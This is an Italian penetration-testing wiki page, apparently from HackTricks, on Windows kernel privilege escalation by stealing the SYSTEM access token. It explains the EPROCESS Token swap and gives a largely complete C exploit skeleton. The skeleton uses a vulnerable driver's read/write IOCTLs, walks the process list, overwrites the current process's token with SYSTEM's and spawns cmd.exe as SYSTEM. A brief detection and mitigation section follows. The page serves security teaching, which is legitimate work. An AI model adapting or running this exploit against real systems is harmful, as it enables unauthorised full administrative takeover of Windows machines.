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# Windows kernel EoP: Token stealing with arbitrary kernel R/W
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{{#include ../../banners/hacktricks-training.md}}
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## Panoramica
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Se un driver vulnerabile espone un IOCTL che fornisce a un attacker primitive di lettura e/o scrittura arbitrary nel kernel, elevare a NT AUTHORITY\SYSTEM può spesso essere ottenuto rubando un SYSTEM access token. La tecnica copia il puntatore Token dall'EPROCESS di un processo SYSTEM nell'EPROCESS del processo corrente.
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Perché funziona:
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- Ogni processo ha una struttura EPROCESS che contiene (tra gli altri campi) un Token (in realtà un EX_FAST_REF a un oggetto token).
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- Il processo SYSTEM (PID 4) possiede un token con tutti i privilegi abilitati.
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- Sostituendo l'EPROCESS.Token del processo corrente con il puntatore al token di SYSTEM, il processo corrente verrà eseguito come SYSTEM immediatamente.
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> Gli offset in EPROCESS variano tra le versioni di Windows. Determinali dinamicamente (symbols) o usa costanti specifiche per la versione. Ricorda anche che EPROCESS.Token è un EX_FAST_REF (i 3 bit bassi sono flag del reference count).
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## Passaggi ad alto livello
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1) Individua la base di ntoskrnl.exe e risolvi l'indirizzo di PsInitialSystemProcess.
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- Dalla modalità utente, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers per ottenere le base dei driver caricati.
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- Aggiungi l'offset di PsInitialSystemProcess (da symbols/reversing) alla base del kernel per ottenere il suo indirizzo.
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2) Leggi il puntatore a PsInitialSystemProcess → questo è un puntatore kernel all'EPROCESS di SYSTEM.
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3) Dall'EPROCESS SYSTEM, leggi gli offset UniqueProcessId e ActiveProcessLinks per attraversare la lista doppiamente collegata delle strutture EPROCESS (ActiveProcessLinks.Flink/Blink) finché non trovi l'EPROCESS il cui UniqueProcessId è uguale a GetCurrentProcessId(). Conserva entrambi:
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- EPROCESS_SYSTEM (per SYSTEM)
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- EPROCESS_SELF (per il processo corrente)
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4) Leggi il valore del token di SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
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- Maschera i 3 bit bassi: Token_SYS_masked = Token_SYS & ~0xF (comunemente ~0xF o ~0x7 a seconda della build; su x64 i 3 bit bassi sono usati — mask 0xFFFFFFFFFFFFFFF8).
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5) Opzione A (comune): conserva i 3 bit bassi dal token corrente e incollali sul puntatore di SYSTEM per mantenere coerente il reference count incorporato.
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- Token_ME = *(EPROCESS_SELF + TokenOffset)
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- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
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6) Scrivi Token_NEW in (EPROCESS_SELF + TokenOffset) usando la tua primitive di kernel write.
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7) Il processo corrente è ora SYSTEM. Facoltativamente avvia un nuovo cmd.exe o powershell.exe per confermare.
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## Pseudocode
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Di seguito uno scheletro che usa solo due IOCTL di un driver vulnerabile, uno per lettura kernel di 8 byte e uno per scrittura kernel di 8 byte. Sostituisci con l'interfaccia del tuo driver.
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```c
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#include <Windows.h>
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#include <Psapi.h>
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#include <stdint.h>
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// Device + IOCTLs are driver-specific
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#define DEV_PATH "\\\\.\\VulnDrv"
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#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
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#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
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// Version-specific (examples only – resolve per build!)
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static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
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static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
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static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
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BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
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struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
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in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
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}
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BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
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struct { uint64_t addr, val; } in; DWORD ret;
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in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
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}
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// Get ntoskrnl base (one option)
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uint64_t get_nt_base(void) {
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LPVOID drivers[1024]; DWORD cbNeeded;
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if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
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return (uint64_t)drivers[0]; // first is typically ntoskrnl
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}
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return 0;
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}
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int main(void) {
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HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
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if (h == INVALID_HANDLE_VALUE) return 1;
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// 1) Resolve PsInitialSystemProcess
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uint64_t nt = get_nt_base();
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uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
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// 2) Read SYSTEM EPROCESS
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uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
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// 3) Walk ActiveProcessLinks to find current EPROCESS
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DWORD myPid = GetCurrentProcessId();
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uint64_t cur = EPROC_SYS; // list is circular
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uint64_t EPROC_ME = 0;
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do {
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uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
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if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
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uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
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cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
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} while (cur != EPROC_SYS);
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// 4) Read tokens
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uint64_t tok_sys, tok_me;
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kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
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kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
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// 5) Mask EX_FAST_REF low bits and splice refcount bits
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uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
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uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
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// 6) Write back
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kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
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// 7) We are SYSTEM now
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system("cmd.exe");
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return 0;
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}
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```
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Note:
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- Offset: Usa WinDbg’s `dt nt!_EPROCESS` con i PDBs del target, o un runtime symbol loader, per ottenere offset corretti. Non hardcodare ciecamente.
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- Mask: Su x64 il token è un EX_FAST_REF; i 3 bit meno significativi sono bit del conteggio dei riferimenti. Mantenere i bit bassi originali del tuo token evita inconsistenze immediate nel conteggio dei riferimenti.
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- Stability: Preferisci elevare il processo corrente; se elevi un helper di breve durata potresti perdere SYSTEM quando termina.
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## Rilevamento e mitigazione
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- Il caricamento di driver di terze parti non firmati o non attendibili che espongono potenti IOCTLs è la causa principale.
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- Kernel Driver Blocklist (HVCI/CI), DeviceGuard e le regole di Attack Surface Reduction possono impedire il caricamento di driver vulnerabili.
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- EDR può monitorare sequenze IOCTL sospette che implementano arbitrary read/write e gli scambi di token.
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## Riferimenti
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- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
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- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
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